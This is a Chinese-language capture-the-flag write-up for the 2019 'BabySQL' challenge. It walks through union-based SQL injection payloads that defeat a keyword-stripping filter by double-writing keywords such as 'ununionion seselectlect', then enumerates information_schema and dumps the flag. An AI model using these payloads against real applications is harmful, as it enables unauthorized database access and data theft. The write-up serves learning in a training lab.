一、[极客大挑战 2019]BabySQL
1.题目
2.解题步骤
一看就知道是之前一个系列的题,可惜并不耽误我不会做…
在尝试的时候报错是看不懂的,这里简单记述一下心路历程。SQL注入的题目自然是1' or 1=1 #
结果很奇怪
这里在看过WP才知道是把or过滤掉了才有这样的回显。很明显我注入的东西和回显出来的东西不一样。那么是什么过滤呢,从这样的回显来看,是把or替换成了空白。师傅们的做法是双写。就是改成oorr。匹配的时候会把中间的替换成空 然后外面的再组成or。双写绕过学会了)
接下来就是常规的SQL注入手法了,先试试联合查询。
?username=123&password=1' union select 1 #
这里可以看出来union select都被过滤了。故技重施,双写试试。
check.php?username=123&password=1 %27 ununionion seselectlect 1 %23
行数不对,换着查
数据库的列数为3。继续走流程
check.php?username=123&password=1 %27 ununionion seselectlect 1, database(),3%23
库名为geek。
继续构造查库的信息。
1' ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
from和information被空白了,双写绕过
1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata)#
这个payload试不出来了,不是科班出身,对SQL不是很熟悉。
这句代码的大意是把information_schema.schemata的schema_name排列出来。schema_name可以理解成表名。
其中from和information中的or被空白替换了,需要双写。
可以看到有个CTF库,这回可以用之前的语句查询了。
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
where也被过滤了一下。
查flag中的信息。
1' ununionion seselectlect 1,2,group_concat(Flag) frfromom ctf.Flag#
(注意大小写!!!)
3.总结
- 对于SQL还是一团浆糊。库名、表名、字段等概念都不是很熟悉,需要自己搭建一个熟悉一下。
- 学会了双写绕过库名搜索的payload。